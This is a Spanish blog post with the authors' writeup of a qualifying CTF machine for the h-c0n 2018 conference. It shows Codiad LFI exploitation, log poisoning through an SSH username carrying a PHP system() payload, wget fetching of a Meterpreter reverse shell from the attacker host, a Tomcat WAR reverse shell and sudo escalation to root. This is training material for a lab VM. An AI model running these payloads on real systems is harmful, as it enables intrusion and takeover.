Solución al reto 22 clasificatorio para el CTF de #hc0n2018 (h-c0n prequals)

Como os decía cuando presentamos este reto 22, era realmente un clasificatorio para el CTF de la h-c0n que dará comienzo el próximo día 20 de enero a las 0:00 horas.

Cuando decidimos organizar una CON teníamos claro que no podía faltar el CTF y cuando iHackLabs, una empresa que se dedica a eso, nos propuso organizarlo y usar su plataforma pronto supimos que nos íbamos a algo realmente interesante y pro.

Pero evidentemente el acceso a la plataforma es limitado y para la h-c0n ese ha dimensionado una concurrencia de 45 usuarios, así que también íbamos a tener la oportunidad de realizar un par de pruebas para establecer ese corte y clasificar a los más hábiles y rápidos.

Y cómo últimamente andábamos muy enganchados a explotar máquinas, me pareció una buena idea preparar una propia para esta ocasión. Y la verdad lo tuve muy fácil, porque Héctor (riesc0) y Dani (adon90), dos compis de trabajo recién certificados con el OSCP, aceptaron a prepararla. Yo sólo la probé e hice un sencillo binario para generar las flags, y bueno, una pequeña imagen con esteganografía como paso previo a su descarga. Así que todo el mérito a estos dos cracks.

Evidentemente, tuvimos algunas limitaciones al tratarse de una máquina offline y también algunos fallos de primerizos como cierta inestabilidad con el servicio knockd y, sobretodo, no haberla preparado para VirtualBox (el interfaz de red). Pero dejamos Grub sin contraseña y muchos fueron capaces incluso de adaptarla a su entorno de forma autónoma.

Al final el resultado ha sido muy bueno y han podido clasificarse 44 valientes que han resuelto el prequal de varias (y algunas increíbles) maneras, muchos enviándonos solucionarios o writeup realmente completos y que merecen ser publicados. Pero como deferencia y tras comentarlo con riesc0, uno de los autores de la máquina, pegamos su writeup original.

Así que no me enrollo más y os dejo el susodicho solucionario, no sin antes daros las gracias a todos los que habéis intentado resolver el reto independientemente del resultado y deseando mucha suerte a todos los clasificados para el CTF que comenzará el día 20:

# 1.0 ESTEGANOGRAFÍA

Lo primero que tenemos es una imagen, la cual ya nos dicen que contiene algo oculto. Cuando se trata de algún reto de esteganografía siempre suelo usar Stegsolver para ver si hay algún mensaje oculto en alguno de los canales rgba de la imágen.

Vemos que está la palabra “rockyou.txt” oculta en la imagen, por lo que deducimos que para sacar el contenido adjunto de la foto hay que usar fuerza bruta con el diccionario rockyou.txt.

El primer programa que se me ocurre para ocultar ficheros en imágenes JPG es steghide, así que utilizo un script en python que hice hace tiempo para fuerza bruta (https://github.com/hriesco/brute_steghide).

    python brute_steghide.py starting_CTF.jpg /usr/share/wordlists/rockyou.txt

# 2.0 MÁQUINA VULNERABLE

Una vez descargada la máquina y arrancada con Vmware, hacemos un escaneo de la red para localizar el objetivo.

    nmap -sn 192.168.1.*

Nmap scan report for h-c0n_prequals.lan (192.168.1.100)
Host is up (0.00041s latency).

Hacemos un escaneo rápido de puertos con nmap.

    nmap -F 192.168.1.100

PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 64

# 2.1 ENUMERACIÓN WEB

Al acceder a la url http://192.168.1.100 vemos que no contiene nada, por lo que toca enumerar directorios y ficheros, para ello voy a usar dirb con el diccionario common.txt de seclists.

    dirb http://192.168.1.100 /usr/share/seclists/Discovery/Web_Content/common.txt

==> DIRECTORY: http://192.168.1.100/china/
==> DIRECTORY: http://192.168.1.100/china/js/
==> DIRECTORY: http://192.168.1.100/china/languages/
==> DIRECTORY: http://192.168.1.100/china/lib/
==> DIRECTORY: http://192.168.1.100/china/plugins/
==> DIRECTORY: http://192.168.1.100/china/themes/+ http://192.168.1.100/index.html
+ http://192.168.1.100/china/favicon.ico
+ http://192.168.1.100/china/index.php

A parte de tirarle el diccionario normal siempre es muy importante hacer otra pasada añadiéndole extensiones comunes dependiendo del tipo de servidor y sistema operativo.

    dirb http://192.168.1.100 /usr/share/seclists/Discovery/Web_Content/common.txt -X .html,.php,.txt,.sh,.jsp,.xml

+ http://192.168.1.100/hidden.html (CODE:200|SIZE:62)

Una vez obtenidos los directorios y ficheros procedemos a analizar el contenido, buscar productos, versiones, parámetros vulnerables, etc…

En el primer directorio que sacó dirb (http://192.168.1.100/china/) nos encontramos con un panel de login, así que antes de probar alguna SQLi o hacer fuerza bruta, probamos credenciales típicas (1234 : 1234, admin : password, admin : admin, etc …). En este caso tuvimos suerte y el administrador dejó credenciales débiles:

admin : admin

# 2.2 EXPLOTACIÓN

Trás ver que el producto es un Codiad, buscamos posibles vulnerabilidades (Exploit-db, cve-details, Google, etc…) y nos encontramos con que tiene LFI y subida de ficheros desde el cual es posible subir shell.

Voy a utilizar la vulnerabilidad LFI para conseguir shell, la página donde muestra como explotarlo es la siguiente:
https://www.exploit-db.com/exploits/35585/

Antes de probar el LFI abrimos el fichero hidden.html que descubrimos anteriormente con dirb ya que por el nombre seguramente tenga algo interesante.

La imagen de alguien tocando una puerta nos da una gran pista, a parte de que el nombre de la imagen es knockknock.jpg, por lo que habrá que hacer port knocking.

Lo que necesitamos ahora es saber que combinación de puertos debemos usar en el portknocking, asi que bajamos la imagen para ver si contiene algún dato oculto.

    wget http://192.168.1.100/knockknock.jpg

Si usamos exiftool para ver los metadatos, podemos ver que el campo “Comment” contiene una secuencia que pueden ser los datos que buscamos.

Otra forma de sacarlo sería con el comando strings  o a través del LFI podríamos acceder al fichero de configuración /etc/knockd.conf.

Hacemos el port-knocking y volvemos a escanear la máquina para comprobar si se abrió algún puerto.

    knock 192.168.1.100 1337 4444 6969
    nmap -F 192.168.1.100

Vemos que tenemos el puerto ssh abierto, y un LFI con el cual podemos acceder al /etc/passwd para hacer fuerza bruta con los usuarios del sistema, pero sin obtener ningún login válido.

Nos centramos en el LFI buscando ficheros con credenciales típicos, php wrappers, logs del sistema en los que tengamos permisos de lectura, dando con auth.log en el cual podemos leer y escribir.

    http://192.168.1.100/china/components/filemanager/download.php?path=../../../../../../../../../../../var/log/auth.log&type=undefined

Para poder escribir en dicho fichero nos conectamos al ssh del objetivo inyectando código PHP en el usuario de la siguiente forma:

ssh '<?php system($_GET["c"]); ?>'@192.168.1.100

Si volvemos a acceder al fichero auth.log y añadimos el parámetro cmd por GET comprobamos que tenemos ejecución de comandos en el sistema.

    http://192.168.1.100/china/components/filemanager/download.php?path=../../../../../../../../../../../var/log/auth.log&type=undefined&cmd=id

Ahora nuestro objetivo será conseguir una shell reversa, los pasos a seguir son los siguientes:

– Generar Meterpreter en formato elf, con msfvenom.
– Servidor web en local con python para subir la shell.
– Utilizar la ejecución de comandos para subir la shell con wget a /tmp
– Darle permisos de ejecución
– Poner un handler de metasploit a la escucha donde recibiremos la shell reversa.
– Ejecutar la shell accediendo a la ruta desde el navegador a través del LFI.

    msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.1.106 lport=443 -f elf > shell.elf

    python -m SimpleHTTPServer

    http://192.168.1.100/china/components/filemanager/download.php?path=../../../../../../../../../../../var/log/auth.log&type=undefined&cmd=wget+http://192.168.1.106:8000/shell.elf+-O+/tmp/shell

    http://192.168.1.100/china/components/filemanager/download.php?path=../../../../../../../../../../../var/log/auth.log&type=undefined&cmd=chmod+777+/tmp/shell

    msfconsole

    msf > use exploit/multi/handler
    msf exploit(handler) > set payload linux/x86/meterpreter_reverse_tcp
    msf exploit(handler) > set LHOST 192.168.1.106
    msf exploit(handler) > set LPORT 443
    msf exploit(handler) > run

    http://192.168.1.155/china/components/filemanager/download.php?path=../../../../../../../../../../../var/log/auth.log&type=undefined&cmd=/tmp/shell

# 3.0 ESCALADA DE PRIVILEGIOS

Las IPs a partir de aquí cambian ya que las realice en otro equipo, ahora la 192.168.11.149 es mi IP y la 192.168.11.155 es la IP de la maquina vulnerable.
Lo primero que hacemos tras conseguir shell será spawnear una shell tty con python

    python -c ‘import pty; pty.spawn(“/bin/bash”)’

Si miramos los servicios que estan corriendo en el sistema vemos que tiene el 8080, por lo que hacemos un port-forwarding a través de un tunel ssh reverso para poder acceder desde nuestra máquina.

Activamos en local el ssh

    service ssh start

En la shell reversa forwardeamos el puerto 8080 a través del tunel ssh

    ssh -R 1234:127.0.0.1:8080 root@192.168.11.149

Una vez forwardeado el puerto accedemos al navegador a http://127.0.0.1:1234/

Vemos que es un tomcat por lo que navegamos en la shell reversa para ver las credenciales de acceso al tomcat manager.

    cat /var/lib/tomcat8/conf/tomcat-users.xml

http://127.0.0.1:1234/manager/html

Generamos una reverse shell con formato war para subirla al tomcat y desplegarla.

    msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.11.149 LPORT=4444 RHOST=127.0.0.1 RPORT=1234 -f war > shell.war

Una vez subida al tomcat levantamos un handler de metasploit

    msfconsole
    msf > use exploit/multi/handler
    msf exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp
    msf exploit(multi/handler) > set LHOST 192.168.11.149
    msf exploit(multi/handler) > set LPORT 4444
    msf exploit(multi/handler) > run

Al acceder a la shell en el navegador obtendremos una sesión de meterpreter.

http://127.0.0.1:1234/shell

Vemos que el usuario pertenece al grupo sudo, así que intentamos escalar con sudo su, en este caso no ha pedido contraseña ya que hay una entrada en el /etc/sudoers que permite al usuario tomcat8 ejecutar con sudo sin contraseña.

Finalmente observamos un binario elf en /root/flag que al ejecutarlo nos devolverá la tan preciada flag:

Espero que os resultara entretenida la máquina y enhorabuena a los ganadores! 😉

Fuente: Writeup #Hackplayers #h-c0n prequals
Hall de la fama (top clasificados): http://www.h-c0n.com/p/ctf.html#halloffame
Próximo CTF de iHackLabs: http://www.h-c0n.com/p/ctf.html#ctf